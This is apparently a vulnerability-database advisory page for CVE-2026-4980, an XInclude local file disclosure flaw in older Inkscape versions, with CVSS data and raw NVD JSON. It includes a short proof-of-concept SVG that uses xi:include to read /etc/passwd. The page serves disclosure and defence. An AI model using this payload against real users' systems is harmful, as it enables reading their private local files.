Security Vulnerability Report
中文
CVE-2026-4980 CVSS 6.3 MEDIUM

CVE-2026-4980

Published: 2026-03-27 15:17:04
Last Modified: 2026-03-30 13:26:30

Description

A local file disclosure vulnerability in the XInclude processing component of Inkscape 1.1 before 1.3 allows a remote attacker to read local files via a crafted SVG file containing malicious xi:include tags.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Inkscape 1.1
Inkscape 1.2
Inkscape < 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- Malicious SVG exploiting XInclude to read local files --> <text x="10" y="20" font-size="14"> <!-- Attempt to include /etc/passwd --> <xi:include href="file:///etc/passwd" parse="text"/> </text> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4980", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:17:03.790", "lastModified": "2026-03-30T13:26:29.793", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local file disclosure vulnerability in the XInclude processing component of Inkscape 1.1 before 1.3 allows a remote attacker to read local files via a crafted SVG file containing malicious xi:include tags."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://gitlab.com/inkscape/inkscape/-/merge_requests/5269", "source": "[email protected]"}, {"url": "https://gitlab.com/inkscape/inkscape/-/work_items/3557", "source": "[email protected]"}]}}